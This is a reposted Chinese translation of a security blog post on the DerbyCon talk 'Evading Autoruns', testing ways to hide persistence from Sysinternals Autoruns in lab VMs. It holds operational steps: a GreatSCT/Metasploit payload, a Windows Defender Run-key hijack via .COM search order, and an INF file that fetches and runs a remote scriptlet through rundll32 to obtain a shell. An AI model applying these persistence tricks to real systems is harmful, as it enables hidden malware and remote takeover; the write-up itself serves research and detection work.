【轉】http://bobao.360.cn/learning/detail/4666.html
背景
在第七屆的DerbyCon大會上, Chris Bisnett和Kyle Hanslovan發表了一個名叫“Evading Autoruns”的演講。在這篇演講中, Kyle 和Chris展示了繞過微軟Sysinternals Autoruns工具檢查的方法。他們主要利用“PATHEXT”這個Windows環境變量以及Microsoft簽名的可執行文件來持久運行註冊表項。由於這些傢伙的演講實在是太精彩了,因此我強烈推薦你們看一下他們以下發布的與演講有關的資料:
摘要
從***者的視角來看,獲取對遠端機器的訪問權限是關鍵;而從安全防護的視角來看,發現***者的蹤跡同樣重要。在這次演講中,Kyle 和Chris披露了幾種“高端”技術用於繞過最常見的系統監視工具,這些“高端”技術涉及重新創建註冊表中的run key、非常規利用搜索順序以及利用可信應用程序。爲了補充他們的技術說明,針對每種繞過方法本文都將包括demo演示和檢測建議。現在我們已經回顧了上述所有的材料,下面我們對該演講中有趣的技術內容進行深入探討。
Autoruns擴展搜索順序技術
在幻燈片68頁,我們看到一個有趣的聲明,具體如下圖所示:
上圖中紅色框中的內容讓我想起Windows上的“PATHEXT”環境變量,之後我繼續閱讀下面幾張幻燈片,以確保我瞭解搜索順序如何工作,然後我看到以下幻燈片。
通過上圖我們發現,PATHEXT環境變量在 '.EXE' 之前會去查找'.COM'擴展名,並且這一發現在下一張幻燈片中得到了驗證,這讓我想起了Derbycon 3.0中的Christopher Campbell和Matt Graeber的“Living Off the Land”演講 。
現在,我們瞭解了搜索順序是如何工作的。理論上,如果我們修改了現有的註冊表項,那麼我們應該可以加載'.COM'而不是'.EXE',因爲搜索順序會首先查找'.COM'擴展名,這正是利用了Windows的工作原理,下面我們繼續研究他們的幻燈片。
上圖看起來像是Windows 10上Windows Defender的註冊表項。我猜測下面必須要將這個註冊表項的值從“C:\ Program Files \ Windows Defender \ MSASCuiL.exe”修改爲“C:\ Program Files \ Windows Defender \ MSASCuiL”,並將“.COM”文件放在同一目錄中。 下面讓我們來看看我的猜測是否正確。
通過上圖發現我的猜測是對的。我們來看看他們是否將“.COM”文件添加到同一個目錄了。
從上面ppt上來看他們的確那麼做了,下面我們來研究一下AutoRuns程序。
通過上圖發現,這的確是一個十分漂亮的繞過,從圖中可以看到我們的“.COM”文件的發行者是“Microsoft Corporation”。
現在我們瞭解了“搜索順序”的工作原理,下面我們在Windows 7和Windows 10中做個實驗。首先,使用我開發的GreatSCT工具生成一個COM scriptlet payload,該工具在使用的時候需要首先安裝Python3和Metasploit。其次,需要目標系統上安裝了微軟的 Excel。下面我們開始我們的實驗:
1 2 | git clone https: //github .com /GreatSCT/GreatSCT python3 gr8sct.py |
執行上述兩個操作之後將看到以下提示,按任意鍵開始實驗。
我們將使用“SCT / regsvr32.cfg”選項,輸入3,然後按Enter鍵。下圖是上述生成的payload的配置參數:
注意我將輸出文件設置爲“MSASCuiL.com”。輸入generate,然後按Enter鍵。
現在我們生成了一個COM有效載荷,下面我們可以測試“擴展搜索順序”技術了。 首先安裝一個有Excel的Windows 7虛擬機。第一步,讓我們修改Windows Defender註冊表項:
1 | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth (REG_EXPAND_SZ) –C:\Program Files\Windows Defender\MSASCui |
將COM有效載荷放在C:\Program Files\Windows Defender\並命名爲“MSASCui.com”
下一步設置metasploit的監聽程序:
然後重新啓動Windows 7 VM並等待我們的shell。
從上圖可以看到,我們成功獲取到了一個shell。
Autoruns INF 技術
首先讓我們來看一下Casey Smith (@subtee)關於Scriptlets的介紹:
下面是安全防護對上述***的防護:
Chris和Kyle在MSDN上發現了關於“INF”文件的介紹。
下面我們繼續瀏覽他們的幻燈片,看看是否有關於“INF”的例子。
上圖的確是一個關於“INF”文件的例子,但這是如何工作的?通過閱讀下面這張ppt我發現他們使用的是“rundll32.exe”而不是“regsvr32.exe”。
下面我將演示如何使用“rundll32.exe”和“INF”文件來繞過微軟的Antorun技術。
在本實驗中我依然使用上述使用GreatSCT工具生成的payload,而且出於安全性的考慮,我將對ppt中提供的shady.inf進行修改,內容如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | ; ———————————————————————- ; Required Sections ; ———————————————————————- [Version] Signature=$CHICAGO$ Provider=test Class=Printer [Manufacturer] HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64 ; ———————————————————————- ; Models Section ; ———————————————————————- [ModelsSection.NTx86] UnregisterDlls = Squiblydoo [ModelsSection.NTia64] UnregisterDlls = Squiblydoo [ModelsSection.NTamd64] UnregisterDlls = Squiblydoo ; ———————————————————————- ; Support Sections ; ———————————————————————- [DefaultInstall] UnregisterDlls = Squiblydoo [Squiblydoo] 11,,scrobj.dll,2,60,https://blog.conscioushacker.io/testaroo.sct |
我將上述內容保存到“testaroo.inf”文件中,並將放在我的桌面上。下一步是創建一個註冊表項。
與上一個實驗一樣:首先設置一個metasploit監聽器,然後重新啓動Windows 7 VM並等待shell回連。但是我並沒有得到一個shell,因此我打開Process Hacker來查找原因。
在上圖進程樹中我並沒有找到rundll32.exe,但通過在Windows 7上手動執行“rundll32.exe setupapi,InstallHinfSection ModelsSection 128 C:\Users\lopi\Desktop\testaroo.inf”時,我發現是可以得到一個回連的shell的,但Windows 10上卻不行。通過查閱資料我找到了原因,Chris和Kyle在他們的演講中並沒有提到這些內容,那就是:Windows 10要求驅動程序必須具有合法的簽名,以便在沒有用戶提示的情況下進行安裝。
Autoruns InfDefaultInstall.exe 技術
接下來我們介紹InfDefaultInstall.exe技術,具體如下圖所示:
通過閱讀ppt我發現,我們可以使用“InfDefaulInstall.exe”而不是“rundll32.exe”,並可以使用相同的方式將它應用到以前的技術。首先我們啓動Windows 10 VM,然後我們看看是否有相同的數字簽名以及UAC是否提示“InfDefaultInstall.exe”。
有UAC的提示,但是數字簽名怎麼樣呢?
實驗中我們發現Windows 10上好像並不行,因此我建議在Windows 7以下的操作系統上使用這種技術。而且,在Windows 7和Windows 10操作系統上,我也依然無法通過的autoruns註冊表項使其工作。儘管該技術在Chris和Kyle的演講中看起來很神奇,但在實踐中卻不是這樣的。
Autoruns SyncAppvPublishing.exe 技術
讓我們通過一張幻燈片來直接介紹該技術吧。
該技術看起來很簡單,下面我們試着在Windows 10 VM中添加一個註冊表項。
現在我們重新啓動我們的Windows 10 VM並期待calc.exe應用程序能夠執行起來,實驗結果如下圖所示:
Ok, 我們成功彈出了計算器程序!